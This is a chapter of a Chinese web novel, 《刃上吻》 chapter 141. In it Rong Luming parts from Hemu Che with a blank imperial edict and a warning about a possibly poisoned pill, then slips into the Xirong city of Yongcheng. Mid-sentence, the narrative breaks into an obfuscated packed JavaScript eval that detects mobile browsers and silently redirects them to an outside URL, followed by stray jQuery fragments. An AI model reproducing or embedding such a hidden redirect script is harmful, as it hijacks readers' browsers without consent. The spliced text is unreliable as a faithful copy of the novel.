141. 殊途同归(三十三)
作品:《刃上吻》 贺穆彻深感耻辱。他本是来刺杀的,结果被刺的人毫发无损,还将他掉落的匕首塞回他手里。
就这么毫无防备!是信任吗?当然不,她只是不把自己放在眼里。念及此,贺穆彻不禁握紧双拳。
容鹿鸣瞥了他一眼,“我说你年纪轻轻,怎么气性真么大?”说着,她展开那柘黄的卷轴——竟是张空白的盖了玉玺的圣旨。
不可抑制的,贺穆彻连呼吸都变急促了,若按照她的心意,她可于其上书写任何事,任何事!
就着刚刚书写《维摩诘经》的笔墨,一份圣旨,她一挥而就,只是那任命官员的姓名处空着。
贺穆彻知道,容鹿鸣是萧正则的师父,他们的字迹别无二致。
“这么看来,那个男人还真信任你,圣旨都可以任你随意写。”
“放肆!”
“怎么,不能说吗?”
容鹿鸣懒得跟他废话,在绝对优势的碾压之下,他逞这口舌之快,有什么意思?
“某观你面有不满,陛下说了,这圣旨随我填写。某可以填你,也可以填别人。”容鹿鸣正色道。
贺穆彻不说话了,恭敬地垂手立于容鹿鸣面前。
“明早便入贺穆部,自此,不再有退路。你虽是个贺穆部的人,自小接受的,却是诗书经义,这些能助你治理部族,但是,你并不懂得那些部族巫术和礼仪。若想最快融入贺穆部,最好,还是娶个贺穆的女人,让你们的血融在一起,生下个继承人。”
这是非常贴己的话了,不可谓不为他细致考虑。他想,自己先前从未得过她青眼,却在种种磨难、种种痛恨之后,得她一席话语如斯。
也是无情,她于部族之内还另有扶植之人。可也不能说无情,若没有她,自己恐怕还呆在那个阴暗的角落里,为了保命,不得不为三王萧正昀继续做下些龌龊事。
该恨她吗?好像不必。那么,该心存感激吗?好像也不用,自己如同是她的一枚棋子。
贺穆彻望向她,自初相识时起,她虽总是不露声色,可那个执棋的人总是她。这世上,可有人不在她的算计之中?
于是忍不住问:“你嫁给萧正则,难道也是为了完全融入朝局之中?”
“叫陛下。”容鹿鸣暗自叹气,总不能真跟别人说,自己被迫嫁给萧正则是遭了这逆徒的暗算吧……
萧正则这个徒弟,看似对她最温和,向来言听计从,实则却是执念最深,不能更改。
念及此,容鹿鸣自经书中抽出个信封,递给贺穆彻,“我没有时间了,明日,安排人帮我寄出去吧。”
“师叔要走了吗?”突然地别离,贺穆彻一下子温和下来。
“你不必担心,明早连弩营的人亲自送你去贺穆部,宣读圣旨,助你继承土司之位。以后的路,要靠你自己了。”难得地,容鹿鸣拍了拍他肩膀。
“你果然要去西戎吗?”
容鹿鸣不回答。
“为了国事,还是私事?”
“都有吧。”容鹿鸣缓缓答道。没有人知道,她已然忆起了自己幼年时的事,只是有些谜题尚未解开。
“不必忧心,此去西戎,一旦药材配齐,制好药膏,我立即会差人送来与你。结合你的脉象来看,半年之内,你腿伤必愈。”
“那师叔有没有想过,你治好我的腿伤,我或许会感恩,或许不会,或许,还会与你为敌。”
他试探她,心知作为棋子于她手中,不知可否能于她心间留下印痕。
“这个简单,你那与乌勒部联姻的堂兄就够你消受一段时日了。”
“他远不如我,不然师叔也不会匆忙安排他的联姻。”
真是个聪明人,容鹿鸣笑了,她喜欢聪明人。愿能恩仇都泯去,他能安然驻守此地。
“我劝师侄莫冲动。纵然不在一处,师叔我也还是有些法子的。”容鹿鸣笑意愈深。
一瞬地,贺穆彻想到些什么,拍案而起:“你!给我服下的药丸中,下了毒!”
容鹿鸣仍笑着,“你猜?”
贺穆彻握紧手中匕首。
“你最好别动手,外面可都是我连弩营的人。若再飞进来一支弩箭,我可不再推开你了。”
“容鹿鸣!”
“叫师叔。”容鹿鸣起身,整了整书案,“这本《维摩诘经》留给你了,我们都是杀戮太重的人,死后都要下地狱的,还是多读些经好。”
帐外,有连弩营的士兵低声道:“少将军,马已备好。”
容鹿鸣转身欲走。
“还能相见?”贺穆彻蓦地问道。
“说什么傻话。记住,好好活着。”容鹿鸣向帐外走去。
“容鹿鸣,在你眼中,我是个什么样的人?”这些话默默堵在他心里,好像可问、可不问,又好像非问不可。
“不重要,望着镜中时,你觉得自己是何人,便是何人。走了。”容鹿鸣没有回头,挥了挥手,消失在帐外的绵绵夜色里。
手中的信封,似还带着她指间余温——是她写给萧正则的信。明知不该拆开来看,贺穆彻还是拆开了。
心中曾有疑问,像容鹿鸣这样的人,谁能得她一片情深?
贺穆彻展开了信,以为会看到什么情深意切、死生不渝,结果,信中只是絮絮地写了西境的雪,西境的月与星,西境的羊肉汤饼……寻常极了,却有些什么叫他忍不住读了又读,心里变得暖了。
他想,他知道那个问题的答案了。
原来,有些东西不必轰轰烈烈。
西戎与晋国的接壤处为雍城,宇文靖的封地。
行至雍城城门时,容鹿鸣与容小虎发现,守城士兵比此前多出数倍,通行者的文牒也查得犹为仔细。
容鹿鸣是不担心,他们俩仿制文牒的功夫,堪比衙署里的文官书吏。
走过城门,雍城繁华依旧,看上去似与寻常并无二致。可细心的他们发现,街上有不少穿粗布交领袍的人,看似在摆茶摊、卖百货,或是采买菜蔬,然而却神色机警,不时四下张望,明显不是普通百姓。
“二郎,我们直接去靖王府吗?”一入雍城,二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177451|171898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人即刻改用化名,容鹿鸣是萧二,容小虎是萧四。
“不急,还有件重要的事要做。”
“什么事?”
“吃饭。”
他们自暗卫处得到的信息是:奕王诬陷宇文靖暗中与晋国勾结意图谋反,现已将他囚禁宫中,并派人接管了他麾下的所有将士。
雍城城外,陈兵数万,说是防备那些土司,实际是为了什么,明眼人都看得出来。
容鹿鸣大约是有计划了,但并不说破,只是带着容小虎大摇大摆地入了雍城。
路上,容小虎忍不住问她,“少将军,所有的容家军都留在边境,去西戎宫中救靖王,就凭我们两个?”
“谁说的?”
容小虎前后左右地望了又望,“除了我们,连个暗卫的影儿也没有呀。”
“谁说要用暗卫了?”
“少将军可是暗中又培养了什么秘密部队?”容小虎眼睛一亮。
“呵呵,没有。”
“……”
“愁什么,那雍城之中自有可用之人。”
现下是入了雍城,可除了百姓就是西戎官兵,哪里有可用之人?
他们自靖王府门口经过,容鹿鸣曾在这里做过“靖王妃”,内里的布局、暗道烂熟于心。只见王府被披甲持刀的士兵里三层、外三层地围了个紧实。
倒也不是溜不进去,什么墙能拦得住容鹿鸣?可即使里面真有宇文靖的亲兵,她也不能揣进兜里带出来。
容鹿鸣也不慌急,两手往棉袍袖子里一揣,一径地往前走。
“这西戎确实比咱们那里暖和许多啊。”
“咱们这是去哪?”
“带你去个好地方。”
越走越接近东郊,同行者之中开始出现带刀者、疤面者,迎面走来了一人,容小虎定睛一看,不正是刚刚城中海捕文书上画的那人?
容鹿鸣步履不停,示意容小虎同自己一样,抽出袖间匕首,压于腕下。
这雍城最是个有趣的地方,不少边境杂胡世代聚居于此,他们有自己的宗法信仰,并不认同西戎律法。久而久之,纷纷于东郊之处聚集。官府向来不敢干涉,许多不法之徒便也把这里当做了藏身之处。
也曾有过数次血腥动乱。西戎皇帝将此地封给宇文靖,也不知安的什么心。
这宇文靖看似一个文弱书生,可自其就蕃以来,这东郊的“胡城”就再未发生过动乱。据说,十五六岁时,他曾孤身一人入“胡城”,与城主有三章约法。
不必再问了,容小虎知道他们要去哪了。
许多人都在往那个方向走。带刀者收了刀。蒙面遮掩者,也将面罩松了松,露出鼻子,好闻一闻那香味。本在争执的人也不吵了,只提快脚步往那走。
众人视线的尽头,是个简陋的羊肉汤粉摊子——几块破葛布扯成个棚子,在不大的风中颤颤巍巍。黄土沙地,全不铺砖,步子重一点儿,立即腾起一股细沙。
但食客们全不顾此,皆奔那鲜香而去,不时还能听到几声吞咽口水的声音。

